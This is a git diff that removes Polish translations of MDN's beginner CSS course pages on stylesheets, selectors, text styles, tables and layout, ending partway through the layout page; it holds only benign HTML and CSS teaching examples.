Ogólnie rzecz biorąc, dzięki CSS język znaczników jest wykorzystywany wyłącznie do opisu treści dokumentu, a nie jego stylu. CSS jest zaś używany do opisu stylu, nie treści. (Dalej w tym kursie będzie można zobaczyć pewne wyjątki od tej reguły.) -

- - -
Więcej szczegółów -
Język znaczników, taki jak HTML, również dostarcza pewnych mechanizmów opisu stylów. Na przykład w HTML-u można użyć znacznika <B>, aby pogrubić tekst albo określić kolor tła strony w znaczniku <BODY>. -

Kiedy używasz CSS, zazwyczaj unikasz stosowania tych funkcji języka znaczników, aby trzymać wszystkie informacje o stylu dokumentu w jednym miejscu. -

-
-

Zadanie: Tworzenia arkusza stylów

-

Stwórz inny plik tekstowy w tym samym katalogu, co poprzednio. -Ten plik będzie arkuszem stylów. -Nazwij go: style1.css -

Skopiuj poniższą linię i wklej ją do pliku CSS, a następnie zapisz ten plik: -

-
-

strong {color: red;} -

-
-

Wiązanie arkusza stylów do dokumentu

-

Aby powiązać swój dokument z arkuszem stylów, wyedytuj plik HTML. -Dodaj pogrubioną linię: -

-
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-  <HEAD>
-  <TITLE>Sample document</TITLE>
-  <LINK rel="stylesheet" type="text/css" href="style1.css">
-  </HEAD>
-  <BODY>
-    <P>
-      <STRONG>C</STRONG>ascading
-      <STRONG>S</STRONG>tyle
-      <STRONG>S</STRONG>heets
-    </P>
-  </BODY>
-</HTML>
-
-
-

Zapisz ten plik i odśwież widok w swojej przeglądarce. -Ten arkusz stylów sprawia, że pierwsze litery są czerwone: -

- - -
Cascading Style Sheets -
- - -
Wyzwanie -
Poza czerwonym, CSS pozwala używać innych nazw kolorów. -

Bez patrzenia w dokumentację znajdź pięć innych nazw kolorów, które działają w Twoim arkuszu stylów. -

-
-

Co dalej?

-

Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie Dyskusji. -

Teraz masz już przykładowy dokument powiązany z osobnym arkuszem stylów, jesteś zatem gotów do zrozumienia, jak przeglądarka wiąże je podczas wyświetlania dokumentu: -Jak działa CSS -

{{ languages( { "en": "en/CSS/Getting_Started/Why_use_CSS", "fr": "fr/CSS/Premiers_pas/Pourquoi_utiliser_CSS", "it": "it/Conoscere_i_CSS/Perch\u00e9_usare_i_CSS", "ja": "ja/CSS/Getting_Started/Why_use_CSS", "pt": "pt/CSS/Como_come\u00e7ar/Porque_usar_CSS", "zh-cn": "cn/CSS/Getting_Started/Why_use_CSS" } ) }} diff --git "a/files/pl/web/css/na_pocz\304\205tek/selektory/index.html" "b/files/pl/web/css/na_pocz\304\205tek/selektory/index.html" deleted file mode 100644 index bf3edca6f9..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/selektory/index.html" +++ /dev/null @@ -1,260 +0,0 @@ ---- -title: Selektory -slug: Web/CSS/Na_początek/Selektory -tags: - - 'CSS:Na_początek' -translation_of: Learn/CSS/Building_blocks/Selectors -translation_of_original: Web/Guide/CSS/Getting_started/Selectors ---- -

Ta strona jest częścią piątą kursu CSS Getting Started. Wyjaśnia ona jak możesz używać stylów selektywnie, i jak różne typy selektorów mają różne priorytety. Dodasz pewne atrybuty do znaczników w swoim przykładowym dokumencie oraz użyjesz w nim tych atrybutów.

- -

Informacja: Selektory

- -

CSS posiada własną terminologię do opisania języka CSS. Poprzednio w trakcie tego kursu stworzyłeś(aś) linię w swoim arkuszu stylów w ten sposób:

- -
-
strong {
-   color: red;
-}
-
-
- -

W terminologii CSS cała ta linia jest regułą. Ta reguła zaczyna się od strong, który jest selektorem. Wybiera, które elementy w drzewie DOM będą używały tej reguły.

- - - - - - - -
-

Więcej szczegółów
- Część wewnątrz nawiasów klamrowych nazywamy się deklaracją.

- -

Słowo kluczowe color jest własnością, a red jest wartością.

- -

Średnik po parze własność-wartość oddziela ją od innych par własność-wartość w tym samym opisie.

- -

Ten kurs odwołuje się do selektorów takich jak strong jako selektorów znaczników. Specyfikacja CSS odwołuje się do nich jako selektorów typu.

-
- -

Ta strona kursu wyjaśnia więcej na temat selektorów, których możesz używać w regułach CSS.

- -

Dodatkowo do nazw znaczników możesz używać wartości atrybutów w selektorach. To pozwala sprecyzować Twoje reguły.

- -

Dwa atrybuty posiadają specjalny status w CSS. Są to class oraz id.

- -

Selektor class

- -

Użycie atrybutu class w znaczniku przypisuje znacznikowi nazwaną klasę. Ty decydujesz jak ją nazwiesz.

- -

W swoim arkuszu stylów wpisz kropkę przed nazwą klasy, kiedy używasz jej w selektorze.

- -

Selektor ID

- -

Użycie atrybutu id w znaczniku przypisuje id do znacznika. Ty decydujesz, jakie id mu nadasz. Nazwa id musi być unikalna w dokumencie.

- -

W swoim arkuszu stylów wpisz znak numeru ("płotek" (ang. hash)) przed tym id, kiedy używasz go w selektorze.

- - - - - - - -
-

Przykłady
- Ten znacznik HTML posiada zarówno atrybut class, jak i id:

- -
-
-<p class="key" id="principal">
-
-
- -

Id, principal, musi być unikalne w dokumencie, lecz inne znaczniki mogą używać tej samej nazwy klasy key.

- -

W arkuszu stylów CSS ta reguła powoduje, że wszystkie elementy klasy key staną się zielone. (Nie wszystkie muszą być elementami P.)

- -
-
-.key {
-   color: green;
-}
-
-
- -

Ta reguła powoduje, że jeden element o id principal zostanie pogrubiony:

- -
-
-#principal {
-   font-weight: bolder;
-}
-
-
-
- -

Jeżeli więcej niż jedna reguła odnosi się do elementu i określa tę samą własność, wtedy CSS nadaje priorytet regule, która posiada bardziej szczegółowy selektor. Selektor id jest bardziej szczegółowy od selektora klasy, który z kolei jest bardziej szczegółowy od selektora znacznika.

- - - - - - - - -
Więcej szczegółów
Możesz też mieszać selektory, czyniąc je bardziej szczegółowymi. -

Na przykład selektor .key wybiera wszystkie elementy, które mają klasę o nazwie key. Selektor p.key wybiera tylko elementy P, które mają klasę o nazwie key.

- -

Nie jesteś ograniczony(a) do dwóch specjalnych atrybutów, class i id. Możesz określać inne atrybuty poprzez użycie nawiasów kwadratowych. Na przykład selektor {{ mediawiki.external('type=button') }} wybiera wszystkie elementy, które mają atrybut type o wartości button.

- -

W dalszej części kursu (Tabele) można znaleźć informacje na temat złożonych selektorów opartych na wzajemnych relacjach.

- -

Aby dowiedzieć się więcej o selektorach, zajrzyj na stronę Selektory w specyfikacji CSS.

-
- -

Jeżeli arkusz stylów posiada sprzeczne reguły i są one równie szczegółowe, wtedy CSS nadaje wyższy priorytet regule, która występuje później w arkuszu stylów.

- -

Gdy napotkasz problem ze sprzecznymi regułami, spróbuj rozwiązać go poprzez ustawienie jednej z reguł jako bardziej szczegółowej, aby można im było nadać priorytety. Jeżeli nie możesz tego zrobić, spróbuj przesunąć jedną z reguł bliżej końca arkusza stylów, aby nadać jej wyższy priorytet.

- -

Zadanie: Używanie selektorów class i id

- -

1. Wyedytuj swój plik HTML i zduplikuj akapit poprzez skopiowanie i wklejenie go.
- 2. Następnie dodaj atrybuty id i class do pierwszej kopii, a potem id do drugiej:

- -
-
<!doctype html>
-<html>
-  <head>
-  <meta charset="UTF-8">
-  <title>Sample document</title>
-  <link rel="stylesheet" href="style1.css">
-  </head>
-  <body>
-    <p id="first">
-      <strong class="carrot">C</strong>ascading
-      <strong class="spinach">S</strong>tyle
-      <strong class="spinach">S</strong>heets
-    </p>
-    <p id="second">
-      <strong>C</strong>ascading
-      <strong>S</strong>tyle
-      <strong>S</strong>heets
-    </p>
-  </body>
-</html
-
- -

Teraz wyedytuj swój plik CSS. Zamień całą treść na:

- -
-
strong { color: red; }
-.carrot { color: orange; }
-.spinach { color: green; }
-#first { font-style: italic; }
-
- -

Odśwież okno przeglądarki, aby zobaczyć wynik:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -

Możesz zmieniać kolejność linii w pliku CSS, aby zobaczyć, że kolejność nie ma wpływu na wynik.

- -

Selektory klas .carrot oraz .spinach mają priorytety nad selektorem znaczników strong.

- -

Selektor id #first ma priorytet nad selektorami klas i znaczników.

- - - - - - - - -
Wyzwanie
Bez zmieniania pliku HTML dodaj do pliku CSS pojedyncze reguły, które sprawią, że wszystkie początkowe litery będą nadal tego samego koloru, ale cały pozostały tekst w drugim akapicie stanie się niebieski: - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -

Teraz zmień regułę, którą właśnie dodałeś(aś) (bez zmieniania czegokolwiek innego), aby pierwszy akapit też był niebieski:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
-
- -

Zadanie: użycie pseudo selectorów

- -
    -
  1. Utwórz plik HTML z następują treścią: -
    <!doctype html>
    -<html>
    -  <head>
    -  <meta charset="UTF-8">
    -  <title>Sample document</title>
    -  <link rel="stylesheet" href="style1.css">
    -  </head>
    -  <body>
    -    <p>Go to our <a class="homepage" href="http://www.example.com/" title="Home page">Home page</a>.</p>
    -  </body>
    -</html>
    -
  2. -
  3. Edytuj plik CSS. Zamień jego treść na: -
    a.homepage:link, a.homepage:visited {
    -  padding: 1px 10px 1px 10px;
    -  color: #fff;
    -  background: #555;
    -  border-radius: 3px;
    -  border: 1px outset rgba(50,50,50,.5);
    -  font-family: georgia, serif;
    -  font-size: 14px;
    -  font-style: italic;
    -  text-decoration: none;
    -}
    -
    -a.homepage:hover, a.homepage:focus, a.homepage:active {
    -  background-color: #666;
    -}
    -
  4. -
  5. Zapisz pliki i odśwież przeglądarkę aby zobaczyć rezultat (przeciągnij muszkę nad przycisk, aby zobaczyć efekt): - - - - - - -
    Go to our Home page
    -
  6. -
- -

Co dalej?

- -

Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie Dyskusji.

- -

Twój przykładowy arkusz stylów zaczyna wyglądać na zbity i skomplikowany. W następnej części opiszemy jak sprawić, by CSS był łatwiejszy w czytaniu: Czytelny CSS

- -

{{ languages( { "en": "en/CSS/Getting_Started/Selectors", "fr": "fr/CSS/Premiers_pas/Les_s\u00e9lecteurs", "it": "it/Conoscere_i_CSS/I_Selettori", "ja": "ja/CSS/Getting_Started/Selectors", "pt": "pt/CSS/Como_come\u00e7ar/Seletores" } ) }}

diff --git "a/files/pl/web/css/na_pocz\304\205tek/style_tekstowe/index.html" "b/files/pl/web/css/na_pocz\304\205tek/style_tekstowe/index.html" deleted file mode 100644 index 69dfd39735..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/style_tekstowe/index.html" +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Style tekstowe -slug: Web/CSS/Na_początek/Style_tekstowe -tags: - - 'CSS:Na_początek' -translation_of: Learn/CSS/Styling_text/Fundamentals -translation_of_original: Web/Guide/CSS/Getting_started/Text_styles ---- -

-

Na tej stronie znajdziesz więcej przykładów stylów tekstowych. -

Zmodyfikujesz przykładowy arkusz stylów, aby używał różnych krojów pisma. -

-

Informacja: Style tekstowe

-

CSS posiada kilka własności do określania stylu tekstu. -

Istnieje wygodna, krótka własność font, której można użyć do określenia kilku cech na raz — na przykład: -

- - - -
Przykład -
-

p {font: italic 75%/125% "Comic Sans MS", cursive;} -

-
-

Ta reguła określa kilka własności fontu, sprawiając, że wszystkie akapity będą pisane kursywą. -

Rozmiar fontu jest określony jako trzy czwarte rozmiaru każdego nadrzędnego akapitu, a wysokość linii jest określona na 125% (co da trochę więcej przestrzeni). -

Typ fontu jest określony jako Comic Sans MS, lecz jeśli ten font nie jest dostępny, wówczas przeglądarka użyje domyślnego fontu kursywy (a'la ręczne pismo). -

Ta reguła dodatkowo wyłącza pogrubienie i małe litery (ustawiając je na normal): -

-
-

Typy fontów

-

Nie da się przewidzieć, jakie fonty będzie posiadał czytelnik dokumentu. -Zatem kiedy określasz typy fontów, dobrym pomysłem jest podanie listy alternatywnych. -

Listę należy zakończyć jednym z domyślnych, wbudowanych fontów: serif, sans-serif, cursive, fantasy lub monospace, (niektóre z nich pasują do ustawień w opcjach Twojej przeglądarki). -

Jeżeli dany typ fontu nie wspiera jakiejś funkcji w dokumencie, wówczas przeglądarka może zmienić go na inny. Na przykład, dokument może posiadać specjalne znaki, których font podstawowy nie obsługuje. Jeżeli przeglądarka znajdzie inny font, który obsługuje te znaki, wówczas zostanie on użyty. -

Aby określić wyłącznie typ fontu, użyj własności font-family. -

-

Rozmiary fontów

-

Czytelnik używający przeglądarki Mozilla może w opcjach ustawić domyślne rozmiary fontów i zmienić rozmiar tekstu podczas czytania stron, zatem dobrym pomysłem jest używanie relatywnych rozmiarów tam, gdzie tylko się da. -

Możesz wykorzystać różne wbudowane wartości dla rozmiarów fontów, jak small, medium czy large. Możesz też użyć wartości relatywnych względem rozmiaru fontu nadrzędnego elementu, na przykład: smaller, larger, 150% lub 1.5. -

Jeżeli trzeba, możesz określić bezpośredni rozmiar: 12px (12 pikseli) dla urządzenia wyświetlającego, lub 12pt (12 punktów) dla drukarki. Ten rozmiar jest nominalnie szerokością litery m, ale różne fonty mogą mieć różne rozmiary i możesz inaczej widzieć je względem rozmiaru, który określisz. -

Aby określić sam rozmiary fontu, użyj własności font-size. -

-

Wysokość linii

-

Wysokość linii określa odstępy między liniami. -Jeżeli Twój dokument posiada długie akapity z wieloma liniami, większe niż normalnie odstępy sprawią, że będzie go łatwiej czytać, zwłaszcza, jeśli rozmiary fontu są małe. -

Aby określić samą wysokość linii, użyj własności line-height. -

-

Ozdobniki

-

Odrębna własność text-decoration może określać inne style, jak underline (podkreślenie) lub line-through (przekreślenie). -Ustawiając tę własność na normal, usuniesz wszystkie ozdobniki. -

-

Inne własności

-

Aby ustawić kursywę, użyj font-style: italic;
-Aby ustawić pogrubienie, użyj font-weight: bold;
-Aby określić, że wszystkie litery mają być małymi literami, użyj font-variant: small-caps; -

Aby ustawić dowolną z nich indywidualnie, możesz ustawić wartość na normal lub -inherit (dziedzicz). -

- - -
Więcej szczegółów -
Możesz określić style tekstowe na kilka innych sposobów. -

Na przykład, niektóre własności wymienione w tym rozdziale mają inne wartości, których możesz użyć. -

W złożonym arkuszu stylów unikaj używania skrótowej własności font, ponieważ ma to efekty uboczne (resetuje inne własności danego fontu). -

Aby zapoznać się ze szczegółami własności fontów, zajrzyj do rozdziału Fonty w specyfikacji CSS. -Aby zapoznać się ze szczegółami odnośnie dekoracji tekstu, zajrzyj Tutaj. -

-
-

Zadanie: Określanie fontu

-

W prostych dokumentach możesz określić font elementu BODY, a reszta dokumentu będzie dziedziczyć jego ustawienia. -

Wyedytuj swój plik CSS. -Dodaj regułę, która zmieni font. -Logicznie byłoby umieścić tę regułę na górze pliku CSS, ale będzie ona miała taki sam efekt niezależnie od miejsca położenia: -

-
-

body {font: 16px "Comic Sans MS", cursive;} -

-
-

Dodaj komentarz wyjaśniający regułę oraz dodaj białe znaki, aby całość pasowała do Twojego ulubionego schematu. -

Odśwież okno przeglądarki, aby zobaczyć efekt. -Jeżeli Twój system zawiera Comic Sans MS lub inny font kursywy, który nie obsługuje pochylenia, wtedy Twoja przeglądarka wybierze inny typ fontu dla pochylonego tekstu w pierwszej linii: -

- - - - -
Cascading Style Sheets -
Cascading Style Sheets -
-

Z paska menu przeglądarki wybierz Widok – Rozmiar tekstu – Powiększ. Nawet jeśli określiłeś(aś) w stylu rozmiar 16 pikseli, użytkownik czytający dokument może zmienić jego rozmiar. -

- - -
Wyzwanie -
Nie zmieniając nic innego, powiększ dwukrotnie wszystkie sześć pierwszych liter w domyślnym foncie szeryfowym przeglądarki: - - - - -
Cascading Style Sheets -
Cascading Style Sheets -
-
-

Co dalej?

-

Twój przykładowy dokument korzysta już z kilku nazwanych kolorów. -Na następnej stronie znajdziesz listę nazwanych, standardowych kolorów oraz opis, jak można określić inne: -Kolor -

-
-
-{{ languages( { "en": "en/CSS/Getting_Started/Text_styles", "fr": "fr/CSS/Premiers_pas/Styles_de_texte", "it": "it/Conoscere_i_CSS/Stili_del_testo", "ja": "ja/CSS/Getting_Started/Text_styles", "pt": "pt/CSS/Como_come\u00e7ar/Estilos_de_texto" } ) }} diff --git "a/files/pl/web/css/na_pocz\304\205tek/tables/index.html" "b/files/pl/web/css/na_pocz\304\205tek/tables/index.html" deleted file mode 100644 index 3e09737217..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/tables/index.html" +++ /dev/null @@ -1,597 +0,0 @@ ---- -title: Tabele -slug: Web/CSS/Na_początek/Tables -tags: - - 'CSS:Na_początek' -translation_of: Learn/CSS/Building_blocks/Styling_tables -translation_of_original: Web/Guide/CSS/Getting_started/Tables ---- -

 

-

Ta strona bardziej szczegółowo opisuje selektory oraz sposoby tworzenia stylów dla tabel.

-

Stworzysz nowy dokument zawierający tabelę oraz nadasz mu styl.

-

Informacja: Więcej o selektorach

-

CSS daje wiele sposobów na wybranie elementów, bazując na ich wzajemnych relacjach. Możesz ich użyć, aby stworzyć bardziej dokładne selektory.

-

Poniżej znajduje się podsumowanie selektorów bazujące na ich wzajemnych relacjach:

- - - - - - - - - - - - - - - - - - - - - - - -
SelektorWybiera
A EDowolny element E, który jest potomkiem elementu A (to znaczy jest dzieckiem albo dzieckiem dziecka, itp.))
A > EDowolny element E, który jest dzieckiem elementu A
E:first-childDowolny element E, który jest pierwszym dzieckiem swojego rodzica
B + EDowolny element E, który jest następnym z rodzeństwa elementu B (to znaczy: następnym dzieckiem tego samego rodzica)
-

Możesz łączyć te selektory w złożone relacje.

-

Możesz też użyć symbolu * (gwiazdka), który znaczy "dowolny element".

- - - - - - - -
- Przykład
Tabela HTML posiada atrybut id, ale jej wiersze i komórki nie posiadają własnych identyfikatorów: -
-

<TABLE id="data-table-1"> ... <TR> <TD>Prefiks</TD> <TD>0001</TD> <TD>domyślnie</TD> </TR> ...

-
-

Poniższe reguły powodują, że pierwsza komórka w każdym wierszu jest pogrubiona, natomiast druga używa kroju monospace. Dotyczą one tylko jednej, określonej tabeli w dokumencie:

-
-
    -
  1. data-table-1 td:first-child {font-weight: bolder;}
  2. -
  3. data-table-1 td:first-child + td {font-family: monospace;}
  4. -
-
-

Wygląda to tak:

- - - - - - -
- - - - - - - - -
Prefiks<tt>0001</tt>domyślnie
-
-
- - - - - - - -
- Więcej szczegółów
Kiedy stworzysz bardziej szczegółowy selektor, zazwyczaj wzrośnie jego priorytet. -

Jeżeli korzystasz z opisanych tu technik, unikasz potrzeby określania atrybutu class lub id w wielu znacznikach dokumentu. Zamiast tego logika zostaje przeniesiona na CSS.

-

W dużych projektach, gdzie prędkość ma duże znaczenie, możesz sprawić, że twój arkusz stylów będzie działał szybciej, poprzez unikanie złożonych reguł, które zależą od relacji między elementami.

-

Aby dowiedzieć się więcej o selektorach, zajrzyj do specyfikacji CSS na stronę Selektory.

-
-

Informacja: Tabele

-

Tabela układa informacje w prostokątną siatkę. Niektóre tabele mogą być skomplikowane, a różne przeglądarki mogą pokazywać różne wyniki.

-

Kiedy tworzysz swój dokument, użyj tabel do wyrażenia relacji między elementami informacji. Wówczas nie ma znaczenia, jeśli różne przeglądarki wyświetlą je w trochę inny sposób, ponieważ przekaz pozostanie jasny.

-

Nie używaj tabel w sposób, do którego nie zostały przeznaczone, na przykład aby tworzyć przy ich pomocy układ wizualny. Techniki opisane na poprzedniej stronie tego kursu (Układ) nadają się do tego znacznie lepiej.

-

Struktura tabeli

-

W tabeli każdy kawałek informacji jest wyświetlany w komórce.

-

Komórki wyświetlane w jednej linii tworzą wiersz.

-

W niektórych tabelach wiersze mogą być grupowane. Specjalna grupa wierszy, która znajduje się na górze tabeli, nazywa się nagłówkiem. Specjalna grupa wierszy znajdująca się na dole tabeli nazywa się stopką. Główne wiersze w tabeli tworzą jej ciało i one również mogą być łączone w grupy.

-

Komórki ułożone w pionowej linii tworzą kolumnę, ale użyteczność kolumn w tabelach CSS jest ograniczona.

- - - - - - - -
- Przykład
Tabela selektorów znajdująca się na górze tej strony posiada dziesięć komórek i pięć wierszy. -

Pierwszy wiersz jest nagłówkiem. Kolejne cztery są ciałem tabeli. Nie posiada ona stopki.

-

Ma natomiast dwie kolumny.

-
-


- Ten kurs omawia tylko proste tabele, dla których wynik jest przewidywalny. W prostej tabeli każda komórka zajmuje miejsce w jednym wierszu i jednej kolumnie. Możesz skorzystać z CSS-u do złożonych tabel, gdzie komórki rozciągają się na więcej niż jeden wiersz lub kolumnę, ale tego typu tabele wykraczają poza zakres tego kursu.

-

Ramki

-

Komórki nie posiadają marginesów zewnętrznych.

-

Komórki posiadają ramki oraz marginesy wewnętrzne. Domyślnie ramki są oddzielone o wartość własności border-spacing tabeli. Możesz usunąć całkowicie odstępy przez ustawienie własności border-collapse tabeli na wartość collapse.

- - - - - - - -
- Przykład
Poniżej widać trzy tabele. -

Tabela po lewej ma ustawione odstępy ramek na 0.5 em. Tabela w środku ma ustawione odstępy ramek na zero. Tabela po prawej ma zwinięte ramki:

- - - - - - - - -
- - - - - - - - - - - -
ClubsHearts
DiamondsSpades
-
- - - - - - - - - - - -
ClubsHearts
DiamondsSpades
-
- - - - - - - - - - - -
ClubsHearts
DiamondsSpades
-
-
-

Opis

-

Opis jest etykietą opisującą całą tabelę. Domyślnie jest wyświetlana nad tabelą.

-

Aby przesunąć opis na dół, ustaw jego własność caption-side na bottom. Ta własność jest dziedziczona, więc możesz ją ustawić dla całej tabeli lub innego rodzica.

-

Aby ustawić styl tekstu opisu, użyj normalnych własności tekstowych.

- - - - - - - -
- Przykład
Ta tabela posiada opis na dole: -
-
    -
  1. demo-table > caption {
  2. -
-
- caption-side: bottom;
- font-style: italic;
- text-align: right;
- }
-
-
- - - - - - -
- - - - - - - -
- Suits
- - - - - - - - - - - -
ClubsHearts
DiamondsSpades
-
-
-
-

Puste komórki

-

Możesz wyświetlić puste komórki (czyli ich ramki oraz tło) przez określenie empty-cells: show; dla elementu tabeli.

-

Możesz je ukryć, określając empty-cells: hide;. Wtedy jeżeli element rodzic komórki posiada tło, zostanie ono pokazane w miejscu pustej komórki.

- - - - - - - -
- Przykład
Poniższe tabele mają jasnozielone tło. Ich komórki mają tło jasnoszare i ciemnoszare ramki. -

W lewej tabeli puste komórki są wyświetlane, w prawej ukrywane:

- - - - - - - -
- - - - - - - - - - - -
 Hearts
DiamondsSpades
-
- - - - - - - - - - - -
 Hearts
DiamondsSpades
-
-
-

 

- - - - - - - -
- Więcej szczegółów
Aby dowiedzieć się więcej o tabelach, zajrzyj do rozdziału Tabele w specyfikacji CSS. -

Informacje tam zawarte wykraczają poza ten kurs, ale nie opisują różnic miedzy przeglądarkami, które mogą wpływać na wyświetlanie złożonych tabel.

-
-

Zadanie: Ustawianie stylów dla tabeli

-

Stwórz nowy dokument HTML, doc3.html. Skopiuj i wklej poniższy kod, upewniając się, że zaznaczasz całą zawartość:

-
-
<DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-<HEAD>
-<TITLE>Przykładowy dokument 3</TITLE>
-<LINK rel="stylesheet" type="text/css" href="style3.css">
-</HEAD>
-<BODY>
-
-<TABLE id="demo-table">
-<CAPTION>Oceans</CAPTION>
-
-<THEAD>
-<TR>
-<TH></TH>
-<TH>Area</TH>
-<TH>Mean depth</TH>
-</TR>
-<TR>
-<TH></TH>
-<TH>million km<SUP>2</SUP></TH>
-<TH>m</TH>
-</TR>
-</THEAD>
-
-<TBODY>
-<TR>
-<TH>Arctic</TH>
-<TD>13,000</TD>
-<TD>1,200</TD>
-</TR>
-<TR>
-<TH>Atlantic</TH>
-<TD>87,000</TD>
-<TD>3,900</TD>
-</TR>
-<TR>
-<TH>Pacific</TH>
-<TD>180,000</TD>
-<TD>4,000</TD>
-</TR>
-<TR>
-<TH>Indian</TH>
-<TD>75,000</TD>
-<TD>3,900</TD>
-</TR>
-<TR>
-<TH>Southern</TH>
-<TD>20,000</TD>
-<TD>4,500</TD>
-</TR>
-</TBODY>
-
-<TFOOT>
-<TR>
-<TH>Total</TH>
-<TD>361,000</TD>
-<TD></TD>
-</TR>
-<TR>
-<TH>Mean</TH>
-<TD>72,000</TD>
-<TD>3,800</TD>
-</TR>
-</TFOOT>
-
-</TABLE>
-
-</BODY>
-</HTML>
-
-
-

Stwórz nowy arkusz stylów, style3.css. Skopiuj i wklej poniższy kod, upewniając się, że zaznaczasz cały:

-
-
/*** Styl dla doc3.html (Tabele) ***/
-
-#demo-table {
-  font: 100% sans-serif;
-  background-color: #efe;
-  border-collapse: collapse;
-  empty-cells: show;
-  border: 1px solid #7a7;
-  }
-
-#demo-table > caption {
-  text-align: left;
-  font-weight: bold;
-  font-size: 200%;
-  border-bottom: .2em solid #4ca;
-  margin-bottom: .5em;
-  }
-
-
-/* basic shared rules */
-#demo-table th,
-#demo-table td {
-  text-align: right;
-  padding-right: .5em;
-  }
-
-#demo-table th {
-  font-weight: bold;
-  padding-left: .5em;
-  }
-
-
-/* header */
-#demo-table > thead > tr:first-child > th {
-  text-align: center;
-  color: blue;
-  }
-
-#demo-table > thead > tr + tr > th {
-  font-style: italic;
-  color: gray;
-  }
-
-/* fix size of superscript */
-#demo-table sup {
-  font-size: 75%;
-  }
-
-/* body */
-#demo-table td {
-  background-color: #cef;
-  padding:.5em .5em .5em 3em;
-  }
-
-#demo-table tbody th:after {
-  content: ":";
-  }
-
-
-/* footer */
-#demo-table tfoot {
-  font-weight: bold;
-  }
-
-#demo-table tfoot th {
-  color: blue;
-  }
-
-#demo-table tfoot th:after {
-  content: ":";
-  }
-
-#demo-table > tfoot td {
-  background-color: #cee;
-  }
-
-#demo-table > tfoot > tr:first-child td {
-  border-top: .2em solid #7a7;
-  }
-
-
-

Otwórz dokument w swojej przeglądarce. Powinien wyglądać mniej więcej tak:

- - - - - - -
-
-

Oceans

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 AreaMean depth
 million km2m
Arctic:13,0001,200
Atlantic:87,0003,900
Pacific:180,0004,000
Indian:75,0003,900
Southern:20,0004,500
Total:361,000 
Mean:72,0003,800
-
-
-
-

Porównaj reguły ze swojego arkusza stylów z wyświetloną tabelą, aby upewnić się, że rozumiesz działanie każdej reguły. Jeżeli napotkasz regułę, której nie rozumiesz, wykomentuj ją i odśwież okno przeglądarki, aby zobaczyć, co się stanie.

-

Poniżej znajduje się kilka uwag dotyczących tej tabeli:

- -

 

- - - - - - - -
- Wyzwania
Zmień arkusz stylów tak, aby tabela wyglądała jak poniżej: - - - - - - -
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 AreaMean depth
 million km2m
Arctic:13,0001,200
Atlantic:87,0003,900
Pacific:180,0004,000
Indian:75,0003,900
Southern:20,0004,500
Total:361,000 
Mean:72,0003,800
-
-

Oceans

-
-
-
-

 

-

Co dalej?

-

Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie Dyskusji.

-

Jest to ostatnia strona tego kursu, która opisuje własności i wartości CSS. Aby dowiedzieć się więcej o własnościach i wartościach w CSS, zajrzyj na stronę Full property table w specyfikacji CSS.

-

Następna strona znowu wraca do tematu przeznaczenia i struktury arkuszy stylów CSS: Media

diff --git "a/files/pl/web/css/na_pocz\304\205tek/uk\305\202ad/index.html" "b/files/pl/web/css/na_pocz\304\205tek/uk\305\202ad/index.html" deleted file mode 100644 index d532771ddc..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/uk\305\202ad/index.html" +++ /dev/null @@ -1,275 +0,0 @@ ---- -title: Układ -slug: Web/CSS/Na_początek/Układ -tags: - - 'CSS:Na_początek' -translation_of: Learn/CSS/CSS_layout -translation_of_original: Web/Guide/CSS/Getting_started/Layout ---- -

-

Ta strona opisuje kilka sposobów na modyfikację układu dokumentu. -

Nauczysz się zmieniać układ przykładowego dokumentu... -

-

Informacja: Układ

-

Możesz użyć CSS-u do określenia wielu efektów wizualnych, które zmieniają układ Twojego dokumentu. -Niektóre z technik tworzenia układu są bardziej zaawansowane, wykraczające poza zakres podstawowego kursu. -

Kiedy modelujesz układ strony, który ma wyglądać podobnie w wielu przeglądarkach, Twój arkusz stylów łączy się z domyślnym arkuszem stylów przeglądarki oraz silnikiem układu stron w sposób, który może być bardzo złożony. -To także wykracza poza zakres tego kursu. -

Ta strona opisuje proste techniki, których możesz spróbować. -

-

Struktura dokumentu

-

Jeżeli chcesz kontrolować układ dokumentu, być może będziesz musiał(a) zmienić jego strukturę. -

Język składni Twojego dokumentu może posiadać znaczniki ogólnego przeznaczenia do tworzenia struktury. -Na przykład w HTML-u możesz użyć znacznika DIV do tworzenia struktury. -

- - -
Przykład -
W Twoim przykładowym dokumencie ponumerowane paragrafy pod drugim nagłówkiem nie mają własnego kontenera. -

Twój arkusz stylów nie może narysować ramki wokół tych paragrafów, ponieważ nie istnieje element, dla którego można stworzyć selektor. -

Aby poprawić ten problem strukturalny, możesz dodać znacznik DIV wokół paragrafów. -Ten znacznik jest unikalny, zatem można go identyfikować przez atrybut id. -

-
-
 <H3 class="numbered">Numbered paragraphs</H3>
- <DIV id="numbered">
- <P class="numbered">Lorem ipsum</P>
- <P class="numbered">Dolor sit</P>
- <P class="numbered">Amet consectetuer</P>
- <P class="numbered">Magna aliquam</P>
- <P class="numbered">Autem veleum</P>
- </DIV>
-
-
-

Teraz Twój arkusz stylów może używać jednej reguły do określania ramek wokół obu list: -

-
-
 ul, #numbered {
- border: 1em solid #69b;
- padding-left:1em;
- }
-
-
-

Wynik wygląda tak: -

- - -

(A) The oceans

-
  • Arctic
  • Atlantic
  • Pacific
  • Indian
  • Southern
-
-

(B) Numbered paragraphs

-

1: Lorem ipsum

2: Dolor sit

3: Amet consectetuer

4: Magna aliquam

5: Autem veleum

-
-
-
-

Jednostki rozmiaru

-

